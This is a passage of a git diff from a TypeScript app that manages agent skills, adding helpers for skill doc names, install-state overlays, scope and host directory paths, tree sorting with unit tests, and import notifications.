+ * file tree formats its truncation count. Construct `Intl.NumberFormat` directly
+ * rather than routing through Lingui's `i18n.number()`, which its own typings mark
+ * for removal in favor of exactly this call.
+ */
+export function formatInstalls(n: number, locale: string): string {
+ return new Intl.NumberFormat(
+ // `i18n.locale` is the empty string until the Lingui catalog activates, and a
+ // row can render in that window — `new Intl.NumberFormat('')` throws
+ // RangeError, which would take out the whole card. `undefined` means "the
+ // runtime's own locale", which is a readable count either way.
+ locale || undefined,
+ // No `maximumFractionDigits`: CLDR's compact rounding already keeps one
+ // decimal below ten of a unit and drops it above (`9.9K`, `589K`, `2.7M`),
+ // which is the width this column wants. Forcing `1` widens the common case to
+ // `589.4K`.
+ { notation: 'compact', compactDisplay: 'short' },
+ ).format(n);
+}
diff --git a/packages/app/src/lib/managed-artifact-doc-name.ts b/packages/app/src/lib/managed-artifact-doc-name.ts
index 7618fc400..786dff1a3 100644
--- a/packages/app/src/lib/managed-artifact-doc-name.ts
+++ b/packages/app/src/lib/managed-artifact-doc-name.ts
@@ -15,15 +15,17 @@
import {
MANAGED_ARTIFACT_PREFIX_TEMPLATE,
+ parseProjectSkillBundleDoc,
projectSkillContentDocName,
- SKILL_CONTENT_ROOT,
+ type SkillsListEntry,
+ skillFileLiveDocName,
skillLiveDocName,
+ stripMdExt,
} from '@inkeep/open-knowledge-core';
-// `projectSkillContentDocName` + `skillLiveDocName` (and the `.ok/skills` root,
-// `SKILL_CONTENT_ROOT`) are the SINGLE source of truth in core, shared with the
-// server. Re-exported here so existing app call sites keep importing them from
-// this module unchanged.
+// `projectSkillContentDocName` + `skillLiveDocName` are the SINGLE source of
+// truth in core, shared with the server. Re-exported here so existing app call
+// sites keep importing them from this module unchanged.
export { projectSkillContentDocName, skillLiveDocName };
// NOTE: there is intentionally no `skillDocName(scope, name)` builder. Project
@@ -41,22 +43,41 @@ export function templateDocName(folder: string, name: string): string {
return `${MANAGED_ARTIFACT_PREFIX_TEMPLATE}${trimmed ? `${trimmed}/` : ''}${name}`;
}
-/** A path inside a PROJECT skill's source dir (`.ok/skills/<name>/<relPath>`) — a
- * nested content doc or asset. */
-export function projectSkillFilePath(name: string, relPath: string): string {
- return `${SKILL_CONTENT_ROOT}/${name}/${relPath}`;
+/**
+ * Live CRDT doc name for a skill LIST ENTRY. A project entry is a content doc
+ * at its REAL path (ext-less) — `.ok/skills/<name>/SKILL` for store skills,
+ * `.claude/skills/<name>/SKILL` (etc.) for in-place editor-dir skills
+ * — so when an entry is at hand, use this instead of the store-hardcoded
+ * `skillLiveDocName`. Global entries keep the managed-artifact scheme.
+ */
+export function skillEntryLiveDocName(
+ skill: Pick<SkillsListEntry, 'scope' | 'name' | 'path'>,
+): string {
+ return skill.scope === 'project'
+ ? stripMdExt(skill.path)
+ : skillLiveDocName(skill.scope, skill.name);
+}
+
+/** Per-bundle-file analogue of {@link skillEntryLiveDocName}: the live doc name
+ * for `rel` (e.g. `references/patterns.md`) inside the entry's real dir. */
+export function skillEntryFileLiveDocName(
+ skill: Pick<SkillsListEntry, 'scope' | 'name' | 'path'>,
+ rel: string,
+): string {
+ if (skill.scope !== 'project') return skillFileLiveDocName(skill.scope, skill.name, rel);
+ const dir = skill.path.replace(/\/SKILL\.mdx?$/i, '');
+ return `${dir}/${stripMdExt(rel)}`;
}
/**
* Parse a project-skill `SKILL.md` content doc name back to its skill name, or
* null when it isn't one. Lets the editor render the unified skill identity panel
* for project skills (which open as content docs) the same as global skills.
+ * Shape-matched via the shared core parser, so it covers BOTH the `.ok/skills`
+ * store AND in-place editor-dir skills (`.claude/skills/<name>/SKILL`, …).
* Skill names are slash-free by grammar, so a nested path is rejected.
*/
export function parseProjectSkillContentDocName(docName: string): string | null {
- const prefix = `${SKILL_CONTENT_ROOT}/`;
- const suffix = '/SKILL';
- if (!docName.startsWith(prefix) || !docName.endsWith(suffix)) return null;
- const name = docName.slice(prefix.length, docName.length - suffix.length);
- return name && !name.includes('/') ? name : null;
+ const parsed = parseProjectSkillBundleDoc(docName);
+ return parsed?.kind === 'skill' ? parsed.name : null;
}
diff --git a/packages/app/src/lib/open-managed-artifact-tab.ts b/packages/app/src/lib/open-managed-artifact-tab.ts
index 5ad853d30..298cd648f 100644
--- a/packages/app/src/lib/open-managed-artifact-tab.ts
+++ b/packages/app/src/lib/open-managed-artifact-tab.ts
@@ -1,4 +1,4 @@
-import { hashFromDocName, hashFromSkillFile, type SkillFileHashTarget } from '@/lib/doc-hash';
+import { hashFromDocName, hashFromSkillPreview, type SkillPreviewHashTarget } from '@/lib/doc-hash';
/**
* Open a managed-artifact doc (skill/template) as the ACTIVE editor tab.
@@ -19,14 +19,13 @@ export function openManagedArtifactTab(docName: string): void {
}
/**
- * Open a skill bundle file (`SKILL.md` / `references/**` / `scripts/**`) in the
- * READ-ONLY viewer, by the same hash-nav mechanism as {@link openManagedArtifactTab}.
- * Used for OK's built-in `open-knowledge` skill (managed, read-only): it has no
- * editable CRDT content doc, so its `SKILL.md` opens through the scope-aware
- * `/api/skill-file` viewer rather than the editor.
+ * Open a pre-install skill preview as the ACTIVE tab. Same hash-driven nav as
+ * `openManagedArtifactTab`; kept in this module (not inline in a component) so the
+ * `window.location.hash` mutation stays out of React-Compiler-compiled component
+ * bodies, which reject in-render mutation of global values.
*/
-export function openSkillFileTab(target: SkillFileHashTarget): void {
+export function openSkillPreviewTab(target: SkillPreviewHashTarget): void {
if (typeof window === 'undefined') return;
- const hash = hashFromSkillFile(target);
+ const hash = hashFromSkillPreview(target);
if (window.location.hash !== hash) window.location.hash = hash;
}
diff --git a/packages/app/src/lib/skill-bundle-paths.ts b/packages/app/src/lib/skill-bundle-paths.ts
new file mode 100644
index 000000000..a2c5d5651
--- /dev/null
+++ b/packages/app/src/lib/skill-bundle-paths.ts
@@ -0,0 +1,15 @@
+/**
+ * Client-side validity check for a bundle-relative file path — the ONE shape
+ * shared by the create + rename dialogs so they can never disagree. Mirrors,
+ * but does not replace, the server's authoritative gate
+ * (`classifySkillFilePath` + `resolveBundleFileAbs` containment): any
+ * in-bundle path is writable except the skill's own `SKILL.md`; `..` and
+ * empty segments never pass. The client check exists only for inline feedback.
+ */
+export function isValidBundleFilePath(path: string): boolean {
+ const segments = path.split('/');
+ if (segments.some((s) => s === '' || s === '.' || s === '..')) return false;
+ if (segments.length === 0) return false;
+ if (segments.length === 1 && (segments[0] as string).toLowerCase() === 'skill.md') return false;
+ return !/\s/.test(path);
+}
diff --git a/packages/app/src/lib/skill-import-toast.ts b/packages/app/src/lib/skill-import-toast.ts
new file mode 100644
index 000000000..9b4a803e2
--- /dev/null
+++ b/packages/app/src/lib/skill-import-toast.ts
@@ -0,0 +1,41 @@
+import { t } from '@lingui/core/macro';
+import { toast } from 'sonner';
+
+export type SkillImportKind = 'import' | 'upload';
+
+interface SkillImportResult {
+ name: string;
+ alreadyImported?: boolean;
+ collisionRenamedFrom?: string;
+ warnings?: string[];
+}
+
+/**
+ * The single success-toast + warnings surface for every skill acquire flow —
+ * Explore import (`import`) and the Import dialog's reference import + file
+ * upload (`import`/`upload`). Owning it here is
+ * why the surfaces can't drift: before this, Explore and the detected-skill
+ * preview silently DROPPED the `collisionRenamedFrom` notice the dialog showed,
+ * so a name-colliding import was renamed with no explanation. Call it right after
+ * a successful import/upload; it toasts the outcome and flushes any warnings.
+ */
+export function announceSkillImport(kind: SkillImportKind, result: SkillImportResult): void {
+ if (result.alreadyImported) {
+ toast.success(
+ kind === 'upload'
+ ? t`"${result.name}" was already added (identical content).`
+ : t`"${result.name}" was already imported (identical content).`,
+ );
+ } else if (result.collisionRenamedFrom) {
+ toast.success(
+ kind === 'upload'
+ ? t`Uploaded as "${result.name}" — the name "${result.collisionRenamedFrom}" was taken.`
+ : t`Imported as "${result.name}" — the name "${result.collisionRenamedFrom}" was taken.`,
+ );
+ } else {
+ toast.success(
+ kind === 'upload' ? t`Uploaded "${result.name}".` : t`Imported "${result.name}".`,
+ );
+ }
+ for (const w of result.warnings ?? []) toast.warning(w);
+}
diff --git a/packages/app/src/lib/skill-install-overlay-store.ts b/packages/app/src/lib/skill-install-overlay-store.ts
new file mode 100644
index 000000000..fe38b8c88
--- /dev/null
+++ b/packages/app/src/lib/skill-install-overlay-store.ts
@@ -0,0 +1,62 @@
+/**
+ * Module-level optimistic-install overlay, keyed by `scope:name`.
+ *
+ * A skill's install state is rendered by THREE surfaces at once — the editor
+ * toolbar pill, the sidebar Install pill, and the sidebar three-dot submenu —
+ * and each mounts its own `useSkillHostToggles`. With the overlay in component
+ * state, toggling a row in one surface flipped only that surface: the pill next
+ * to it kept reading server truth (a refetch behind) and read "Install" while
+ * the menu already read "Installed". Hoisting the overlay here makes the click
+ * land in ONE place every surface reads.
+ *
+ * `hosts: null` / `source: null` mean "no overlay — show server truth". The
+ * hook clears an entry once the refetched skill catches up with it.
+ */
+export interface SkillInstallOverlay {
+ /** Intended host set while an install is in flight. */
+ hosts: readonly string[] | null;
+ /** Intended source host while a source move is in flight. */
+ source: string | null;
+}
+
+const EMPTY: SkillInstallOverlay = Object.freeze({ hosts: null, source: null });
+
+const overlays = new Map<string, SkillInstallOverlay>();
+const listeners = new Map<string, Set<() => void>>();
+
+export function skillOverlayKey(scope: string, name: string): string {
+ return `${scope}:${name}`;
+}
+
+export function getSkillOverlay(key: string): SkillInstallOverlay {
+ return overlays.get(key) ?? EMPTY;
+}
+
+export function subscribeToSkillOverlay(key: string, listener: () => void): () => void {
+ const set = listeners.get(key) ?? new Set<() => void>();
+ listeners.set(key, set);
+ set.add(listener);
+ return () => {
+ set.delete(listener);
+ if (set.size === 0) listeners.delete(key);
+ };
+}
+
+/**
+ * Merge a patch into one skill's overlay. A no-op patch does NOT notify — the
+ * convergence effects run in every mounted surface and would otherwise loop.
+ */
+export function setSkillOverlay(key: string, patch: Partial<SkillInstallOverlay>): void {
+ const current = getSkillOverlay(key);
+ const next: SkillInstallOverlay = { ...current, ...patch };
+ if (next.hosts === current.hosts && next.source === current.source) return;
+ if (next.hosts === null && next.source === null) overlays.delete(key);
+ else overlays.set(key, next);
+ for (const listener of listeners.get(key) ?? []) listener();
+}
+
+/** Test seam — drops every overlay so one test's in-flight state can't leak. */
+export function __resetSkillOverlaysForTests(): void {
+ overlays.clear();
+ for (const set of listeners.values()) for (const listener of set) listener();
+}
diff --git a/packages/app/src/lib/skill-name-set.ts b/packages/app/src/lib/skill-name-set.ts
new file mode 100644
index 000000000..91681e01d
--- /dev/null
+++ b/packages/app/src/lib/skill-name-set.ts
@@ -0,0 +1,73 @@
+/**
+ * Module-level snapshot of the current skill names (project + global), for
+ * consumers that can't await — editor decoration passes classify `/name`
+ * skill references synchronously. Lazily fetched, refreshed on the shared
+ * `skills-changed` signal; `null` until the first fetch lands (callers treat
+ * that as "classification unknown" and decorate nothing).
+ */
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { subscribeToSkillsChanged } from '@/lib/documents-events';
+import { listSkills } from '@/lib/skills-api';
+
+interface SkillNameInfo {
+ scope: SkillScope;
+ path: string;
+}
+let merged: Map<string, SkillNameInfo> | null = null;
+let byScope: Record<SkillScope, Map<string, SkillNameInfo>> | null = null;
+let fetching = false;
+let subscribed = false;
+
+async function refresh(): Promise<void> {
+ if (fetching) return;
+ fetching = true;
+ try {
+ const scoped: Record<SkillScope, Map<string, SkillNameInfo>> = {
+ project: new Map(),
+ global: new Map(),
+ };
+ const out = new Map<string, SkillNameInfo>();
+ for (const scope of ['project', 'global'] as const) {
+ const res = await listSkills(scope);
+ if (!res.ok) continue;
+ for (const sk of res.skills) {
+ scoped[scope].set(sk.name, { scope: sk.scope, path: sk.path });
+ // Project wins a name collision (matches the open/read rules).
+ if (!out.has(sk.name)) out.set(sk.name, { scope: sk.scope, path: sk.path });
+ }
+ }
+ merged = out;
+ byScope = scoped;
+ } catch {
+ // Keep the previous snapshot on a failed refresh.
+ } finally {
+ fetching = false;
+ }
+}
+
+function ensureSubscribed(): void {
+ if (!subscribed) {
+ subscribed = true;
+ subscribeToSkillsChanged(() => void refresh());
+ }
+}
+
+/** Latest known merged skill-name map (project wins a collision), or null
+ * before the first fetch (which this call kicks off). */
+export function getSkillNameSnapshot(): Map<string, SkillNameInfo> | null {
+ ensureSubscribed();
+ if (merged === null) void refresh();
+ return merged;
+}
+
+/** Per-scope name map — the reference PICKER is same-scope only (a global
+ * skill referencing a project skill would break wherever that project isn't
+ * open; a project doc keeps its references within the project's own set). */
+export function getSkillNamesForScope(scope: SkillScope): Map<string, SkillNameInfo> | null {
+ ensureSubscribed();
+ if (byScope === null) {
+ void refresh();
+ return null;
+ }
+ return byScope[scope];
+}
diff --git a/packages/app/src/lib/skill-scope.ts b/packages/app/src/lib/skill-scope.ts
index 66698f8e4..088666a7e 100644
--- a/packages/app/src/lib/skill-scope.ts
+++ b/packages/app/src/lib/skill-scope.ts
@@ -1,9 +1,25 @@
-import type { SkillScope, SkillsListEntry } from '@inkeep/open-knowledge-core';
+import {
+ EDITOR_PROJECT_SKILL_ROOT,
+ EDITOR_USER_SKILL_ROOT,
+ PACK_SKILL_PREFIX,
+ type SkillScope,
+ type SkillsListEntry,
+ SkillTargetEditorSchema,
+} from '@inkeep/open-knowledge-core';
import { useLingui } from '@lingui/react/macro';
-/** Scope render order — global above project (broadest reach first). Shared by
- * the Settings skills list and the sidebar Skills section. */
-export const SKILL_SCOPE_ORDER: readonly SkillScope[] = ['global', 'project'] as const;
+/**
+ * The root a custom placement sits under — its path minus the skill's own dir.
+ * Derived inline at four call sites before this; one spelling means a change to
+ * the placement path shape cannot miss one of them.
+ */
+export function customPlacementRoot(placement: { path: string }): string {
+ return placement.path.split('/').slice(0, -1).join('/');
+}
+
+/** Scope render order — project above global (this KB's own skills first).
+ * Shared by the Settings skills list and the sidebar Skills section. */
+export const SKILL_SCOPE_ORDER: readonly SkillScope[] = ['project', 'global'] as const;
/**
* Per-scope sets of existing skill names, used for create-dialog collision
@@ -18,9 +34,6 @@ export function skillNameSetsByScope(
};
}
-/** Shared prefix on OK's shipped pack skills (`open-knowledge-pack-<pack>`). */
-const PACK_SKILL_DISPLAY_PREFIX = 'open-knowledge-pack-';
-
/**
* Browse-surface display name for a skill: drops the shared
* `open-knowledge-pack-` prefix so e.g. `open-knowledge-pack-software-lifecycle`
@@ -29,15 +42,35 @@ const PACK_SKILL_DISPLAY_PREFIX = 'open-knowledge-pack-';
* doc path, tooltips); user-authored skills (no prefix) are unchanged.
*/
export function skillDisplayName(name: string): string {
- return name.startsWith(PACK_SKILL_DISPLAY_PREFIX)
- ? name.slice(PACK_SKILL_DISPLAY_PREFIX.length)
- : name;
+ return name.startsWith(PACK_SKILL_PREFIX) ? name.slice(PACK_SKILL_PREFIX.length) : name;
+}
+
+/**
+ * The user-visible on-disk dir of an EXISTING skill entry — derived from its
+ * REAL `path`: an in-place skill lives at `.claude/skills/<name>`
+ * (etc.), a store skill at `.ok/skills/<name>`. Global entry paths are
+ * home-relative, so they render `~/`-prefixed.
+ */
+function skillEntryDir(skill: Pick<SkillsListEntry, 'scope' | 'path'>): string {
+ const dir = skill.path.replace(/\/SKILL\.mdx?$/i, '');
+ return skill.scope === 'global' ? `~/${dir}` : dir;
+}
+
+/**
+ * Collapse a leading home directory to `~` for display (best-effort, cross-
+ * platform: `/Users/<u>`, `/home/<u>`, `/root`). Used for a BUILT-IN skill's real
+ * projected path (e.g. `~/.claude/skills/open-knowledge`), which — unlike an
+ * authored skill — isn't in the `.ok/skills` store so can't be derived.
+ */
+export function tildeHomePath(abs: string): string {
+ return abs.replace(/^\/(?:Users|home)\/[^/]+/, '~').replace(/^\/root/, '~');
}
/**
* Short level titles shared by every skills surface. The `global` scope is
- * user-level (available in every project); `project` is this KB's `.ok/skills`,
- * shared via git. User-facing copy drops the word "scope" entirely.
+ * user-level (available in every project); `project` skills live in this KB
+ * (in an editor dir or `.ok/skills`), shared via git. User-facing copy drops
+ * the word "scope" entirely.
*/
export function useSkillScopeLabels(): Record<SkillScope, string> {
const { t } = useLingui();
@@ -45,10 +78,127 @@ export function useSkillScopeLabels(): Record<SkillScope, string> {
}
/**
- * Full "<level> Skill" labels for the property-panel level pill — the prominent,
- * color-coded switch affordance ("Global Skill" / "Project Skill").
+ * One-line explanation of each level, for a tooltip on the scope header. Says
+ * WHERE the skill lives and WHO sees it — the two things that distinguish the
+ * levels.
*/
-export function useSkillScopePillLabels(): Record<SkillScope, string> {
+export function useSkillScopeDescriptions(): Record<SkillScope, string> {
const { t } = useLingui();
- return { project: t`Project Skill`, global: t`Global Skill` };
+ return {
+ project: t`Lives in this project (wherever the skill's folder is) and is shared with collaborators through git.`,
+ global: t`Available in every project on this machine. Not shared through git.`,
+ };
+}
+
+/**
+ * The on-disk skills ROOT dir for a skill host at a scope — the `.agents` hub
+ * or an editor's primary dir, `~/`-prefixed at global scope. Path-first label
+ * shared by the install menu, the row hover, and the icon-cluster tooltip, so
+ * every surface names the same real directory instead of a brand name.
+ */
+export function skillHostRootDir(host: string, scope: SkillScope): string {
+ // A custom-root host id IS its base-relative path (they contain '/') —
+ // templating it as `.<id>/skills` would mangle it (`.tim/skills` →
+ // `..tim/skills/skills`).
+ if (host.includes('/')) return scope === 'global' ? `~/${host}` : host;
+ const map = scope === 'global' ? EDITOR_USER_SKILL_ROOT : EDITOR_PROJECT_SKILL_ROOT;
+ const rel =
+ host === 'agents'
+ ? '.agents/skills'
+ : ((map as Record<string, string | null>)[host] ?? `.${host}/skills`);
+ return scope === 'global' ? `~/${rel}` : rel;
+}
+
+/**
+ * Alias-derived audience helpers: `hostAliases`
+ * maps a host whose skills folder is a symlink → the base-relative root it
+ * resolves into. One derivation shared by the install menu (audience icons on
+ * rows, reach confirm) and the toolbar pill (viewer marks) so the two surfaces
+ * can never disagree about who reads what.
+ */
+export function aliasSubscribersOf(
+ aliases: Record<string, string> | undefined,
+ rootRel: string,
+): string[] {
+ if (!aliases || rootRel === '') return [];
+ return Object.keys(aliases).filter((h) => aliases[h] === rootRel);
+}
+
+/**
+ * Alias-covered VIEWERS of a skill entry: hosts whose folder resolves into a
+ * root that actually holds this skill (canonical, an editor occurrence, or a
+ * custom placement). They read the skill without owning a location.
+ */
+function skillAliasViewers(
+ entry: Pick<SkillsListEntry, 'scope' | 'path' | 'hosts' | 'hostAliases' | 'customPlacements'>,
+): string[] {
+ const aliases = entry.hostAliases ?? {};
+ const rootOf = (p: string): string => p.split('/').slice(0, -1).join('/');
+ const hostSet = new Set(entry.hosts);
+ const occupiedRoots = new Set<string>([
+ ...entry.hosts
+ .filter((h) => !h.includes('/'))
+ .map((h) => skillHostRootDir(h, entry.scope).replace(/^~\//, '')),
+ ...(entry.customPlacements ?? []).map((cp) => rootOf(cp.path)),
+ ...(entry.path.includes('/') ? [rootOf(entry.path.replace(/\/SKILL\.mdx?$/i, ''))] : []),
+ ]);
+ return Object.entries(aliases)
+ .filter(([h, target]) => !hostSet.has(h) && occupiedRoots.has(target))
+ .map(([h]) => h);
+}
+
+/**
+ * Every on-disk path a skill entry occupies: its canonical dir (from the real
+ * `path`) plus each host's `<hostRoot>/<name>` occurrence, deduped, canonical
+ * first. `symlink` marks hosts whose occurrence is a user link (preserved,
+ * and disclosed rather than presented as a plain copy).
+ */
+export function skillEntryDirs(
+ skill: Pick<
+ SkillsListEntry,
+ 'scope' | 'name' | 'path' | 'hosts' | 'symlinkedHosts' | 'customPlacements'
+ >,
+): Array<{ dir: string; symlink: boolean }> {
+ const linked = new Set(skill.symlinkedHosts ?? []);
+ const out: Array<{ dir: string; symlink: boolean }> = [];
+ const seen = new Set<string>();
+ const push = (dir: string, symlink: boolean) => {
+ if (seen.has(dir)) return;
+ seen.add(dir);
+ out.push({ dir, symlink });
+ };
+ // The canonical's own host is the FIRST hosts member (scan order), so its
+ // link-ness applies to the canonical path too.
+ push(skillEntryDir(skill), linked.has(skill.hosts[0] ?? ''));
+ for (const h of skill.hosts) {
+ push(`${skillHostRootDir(h, skill.scope)}/${skill.name}`, linked.has(h));
+ }
+ for (const cp of skill.customPlacements ?? []) {
+ push(cp.path, cp.mode === 'link');
+ }
+ return out;
+}
+
+/**
+ * Every location mark a skill's row or pill shows: the vendor-neutral hub, the
+ * editors holding it, editors that read it through a folder alias, and its
+ * custom-root placements.
+ *
+ * ONE derivation for all three surfaces. The sidebar row used to rebuild this
+ * inline and omit `customPlacements` — so a skill placed only at a custom root
+ * read "Install" in the sidebar and "Installed" in the toolbar at the same
+ * moment, for the same skill. `hosts` is overridable so a surface holding an
+ * optimistic overlay can pass its pending set instead of the server's.
+ */
+export function skillClusterHosts(
+ skill: SkillsListEntry,
+ hosts: readonly string[] = skill.hosts,
+): string[] {
+ const editors: readonly string[] = SkillTargetEditorSchema.options;
+ const viewers = skillAliasViewers(skill);
+ return [
+ ...(hosts.includes('agents') ? ['agents'] : []),
+ ...editors.filter((e) => hosts.includes(e) || viewers.includes(e)),
+ ...(skill.customPlacements ?? []).map((cp) => customPlacementRoot(cp)),
+ ];
}
diff --git a/packages/app/src/lib/skill-sort.test.ts b/packages/app/src/lib/skill-sort.test.ts
new file mode 100644
index 000000000..78aa0bfc5
--- /dev/null
+++ b/packages/app/src/lib/skill-sort.test.ts
@@ -0,0 +1,102 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import type { FileTreeSortEntry } from '@pierre/trees';
+import { describe, expect, test } from 'vitest';
+import { createSkillSortComparator, SKILL_MD_PATH } from '@/lib/skill-sort';
+
+// Scope-header basename → scope, mirroring `labelToScope` in SkillsSidebarSection
+// (built from the user-facing "Project"/"Global" labels).
+const labelToScope: ReadonlyMap<string, SkillScope> = new Map([
+ ['Project', 'project'],
+ ['Global', 'global'],
+]);
+
+/** Build a `FileTreeSortEntry` from a tree path (trailing slash ⇒ directory). */
+function entry(path: string): FileTreeSortEntry {
+ const isDirectory = path.endsWith('/');
+ const segments = (isDirectory ? path.slice(0, -1) : path).split('/');
+ return {
+ basename: segments[segments.length - 1] ?? '',
+ depth: segments.length,
+ isDirectory,
+ path,
+ segments,
+ };
+}
+
+/** Sort a list of tree paths with the comparator and return them re-ordered. */
+function sortPaths(paths: string[], detected: ReadonlySet<string> = new Set()): string[] {
+ const cmp = createSkillSortComparator(labelToScope, detected);
+ return [...paths].sort((a, b) => cmp(entry(a), entry(b)));
+}
+
+describe('createSkillSortComparator', () => {
+ test('scope headers order project above global (not alphabetically)', () => {
+ // Alphabetical would put Global first ("Global" < "Project"); the comparator must not.
+ expect(sortPaths(['Global/', 'Project/'])).toEqual(['Project/', 'Global/']);
+ expect(sortPaths(['Project/', 'Global/'])).toEqual(['Project/', 'Global/']);
+ });
+
+ test('every project entry sorts before every global entry across MIXED depths (the live bug)', () => {
+ // Pierre feeds the comparator entries at mixed depths — a depth-1 scope header
+ // vs a depth-3 skill file under the OTHER scope. The old depth-gated scope
+ // check never fired for those pairs, so Global's SKILL.md pulled the whole
+ // Global group above the Project header. Every Project/* must precede every
+ // Global/* regardless of depth.
+ const paths = [
+ 'Global/',
+ 'Global/build/',
+ `Global/build/${SKILL_MD_PATH}`,
+ 'Project/',
+ 'Project/open-knowledge/',
+ `Project/open-knowledge/${SKILL_MD_PATH}`,
+ ];
+ const sorted = sortPaths(paths);
+ const lastProject = sorted.reduce((acc, p, i) => (p.startsWith('Project/') ? i : acc), -1);
+ const firstGlobal = sorted.findIndex((p) => p.startsWith('Global/'));
+ expect(lastProject).toBeGreaterThanOrEqual(0);
+ expect(firstGlobal).toBeGreaterThan(lastProject);
+ });
+
+ test('within a scope, managed skills sort above detected ones', () => {
+ // `zeta` is managed, `alpha` is detected — managed wins despite alpha < zeta alphabetically.
+ const detected = new Set(['Project/alpha']);
+ expect(sortPaths(['Project/alpha/', 'Project/zeta/'], detected)).toEqual([
+ 'Project/zeta/',
+ 'Project/alpha/',
+ ]);
+ });
+
+ test('within a scope, same-managed-status skills sort alphabetically (numeric)', () => {
+ expect(sortPaths(['Project/skill-10/', 'Project/skill-2/'])).toEqual([
+ 'Project/skill-2/',
+ 'Project/skill-10/',
+ ]);
+ });
+
+ test('SKILL.md sorts first among a skill’s files (depth 3)', () => {
+ // Alphabetically "SKILL.md" would sort after "aaa.md"; it must lead its siblings.
+ expect(sortPaths([`Project/foo/${SKILL_MD_PATH}`, 'Project/foo/aaa.md'])).toEqual([
+ `Project/foo/${SKILL_MD_PATH}`,
+ 'Project/foo/aaa.md',
+ ]);
+ });
+
+ test('a SKILL.md nested deeper than the skill root does not jump its siblings', () => {
+ // Depth-4 SKILL.md (inside a subfolder) has no first-sort privilege.
+ const paths = ['Project/foo/sub/aaa.md', `Project/foo/sub/${SKILL_MD_PATH}`];
+ // Falls through to alphabetical: "SKILL.md" > "aaa.md" (case-insensitive base).
+ expect(sortPaths(paths)).toEqual([
+ 'Project/foo/sub/aaa.md',
+ `Project/foo/sub/${SKILL_MD_PATH}`,
+ ]);
+ });
+
+ test('among non-SKILL.md siblings, a subdirectory sorts above a file', () => {
+ // Neither is SKILL.md, so the isDirectory branch decides: dir before file,
+ // even though "refs" > "aaa.md" alphabetically.
+ expect(sortPaths(['Project/foo/aaa.md', 'Project/foo/refs/'])).toEqual([
+ 'Project/foo/refs/',
+ 'Project/foo/aaa.md',
+ ]);
+ });
+});
diff --git a/packages/app/src/lib/skill-sort.ts b/packages/app/src/lib/skill-sort.ts
new file mode 100644
index 000000000..acb732c30
--- /dev/null
+++ b/packages/app/src/lib/skill-sort.ts
@@ -0,0 +1,62 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import type { FileTreeSortComparator } from '@pierre/trees';
+import { SKILL_SCOPE_ORDER } from '@/lib/skill-scope';
+
+/** A skill's `SKILL.md`, as the basename nested under its skill folder. */
+export const SKILL_MD_PATH = 'SKILL.md';
+
+/**
+ * Build the Skills-tree row comparator. Kept pure + dependency-injected (the two
+ * closure inputs are passed in) so it is unit-testable without a DOM mount —
+ * the correctness of the depth literals below is load-bearing and previously
+ * shipped wrong with no test to catch it.
+ *
+ * `@pierre/trees` reports a node's `depth` as `segments.length`, so a scope-header
+ * row (`Project/`) is depth 1, a skill folder (`Project/foo/`) is depth 2, and a
+ * bundle file (`Project/foo/SKILL.md`) is depth 3. Match those exactly — an
+ * off-by-one silently drops each branch and lets Pierre alphabetize the rows
+ * (which pins `Global` above `Project` regardless of `SKILL_SCOPE_ORDER`).
+ *
+ * @param labelToScope maps a scope-header basename (`Project`/`Global`) to its scope.
+ * @param detectedPrefixes membership test for `scopeLabel/skill` prefixes that are
+ * detected (un-managed) rather than OK-managed.
+ */
+export function createSkillSortComparator(
+ labelToScope: ReadonlyMap<string, SkillScope>,
+ detectedPrefixes: { has(prefix: string): boolean },
+): FileTreeSortComparator {
+ return (a, b) => {
+ // Different scopes → order by SKILL_SCOPE_ORDER on the ROOT segment
+ // (`segments[0]` = the scope label), REGARDLESS of the entries' depths.
+ // Pierre invokes the comparator across MIXED depths (a depth-1 scope header
+ // vs a depth-2/3 skill row under the other scope, etc.), so a depth-gated
+ // check (`a.depth === 1 && b.depth === 1`) never fired for those pairs and
+ // fell through to the alphabetical default — which pinned GLOBAL above
+ // PROJECT. Keying on the root segment groups every PROJECT entry above every
+ // GLOBAL entry, so the section order is deterministic at any skill count.
+ const aScope = a.segments[0] ?? '';
+ const bScope = b.segments[0] ?? '';
+ if (aScope !== bScope) {
+ const ai = SKILL_SCOPE_ORDER.indexOf(labelToScope.get(aScope) ?? 'project');
+ const bi = SKILL_SCOPE_ORDER.indexOf(labelToScope.get(bScope) ?? 'project');
+ if (ai !== bi) return ai - bi;
+ }
+ // Within a scope, managed skills sort above detected (un-managed) ones.
+ if (a.depth === 2 && b.depth === 2) {
+ const aDetected = detectedPrefixes.has(a.segments.join('/'));
+ const bDetected = detectedPrefixes.has(b.segments.join('/'));
+ if (aDetected !== bDetected) return aDetected ? 1 : -1;
+ return a.basename.localeCompare(b.basename, undefined, {
+ numeric: true,
+ sensitivity: 'base',
+ });
+ }
+ // SKILL.md sorts first, but only at the skill root (depth 3: scope/skill/file)
+ // — a bundle file named SKILL.md nested in a subfolder must not jump its siblings.
+ const aMd = a.depth === 3 && a.basename === SKILL_MD_PATH;
+ const bMd = b.depth === 3 && b.basename === SKILL_MD_PATH;
+ if (aMd !== bMd) return aMd ? -1 : 1;
+ if (a.isDirectory !== b.isDirectory) return a.isDirectory ? -1 : 1;
+ return a.basename.localeCompare(b.basename, undefined, { numeric: true, sensitivity: 'base' });
+ };
+}
diff --git a/packages/app/src/lib/skill-tint.ts b/packages/app/src/lib/skill-tint.ts
new file mode 100644
index 000000000..b4d2ac939
--- /dev/null
+++ b/packages/app/src/lib/skill-tint.ts
@@ -0,0 +1,17 @@
+// Deterministic avatar tint from a seed string (skill or publisher name) so a
+// list of skills reads as a colored grid without a per-skill color in the data.
+// Same seed -> same gradient, so a publisher's skills share a hue.
+const GRADIENTS = [
+ 'from-[#ff9d6c] to-[#ff7eb3]',
+ 'from-[#8fe0c0] to-[#59c0ff]',
+ 'from-[#c0b0ff] to-[#8fb0ff]',
+ 'from-[#ffd18f] to-[#ff9fb0]',
+ 'from-[#8fb0ff] to-[#c9a8ff]',
+ 'from-[#7fe0a0] to-[#bfe08f]',
+] as const;
+
+export function skillTint(seed: string): string {
+ let h = 0;
+ for (let i = 0; i < seed.length; i++) h = (h * 31 + seed.charCodeAt(i)) | 0;
+ return GRADIENTS[Math.abs(h) % GRADIENTS.length] ?? GRADIENTS[0];
+}
diff --git a/packages/app/src/lib/skills-api.duplicate.dom.test.ts b/packages/app/src/lib/skills-api.duplicate.dom.test.ts
new file mode 100644
index 000000000..7a01d9cb3
--- /dev/null
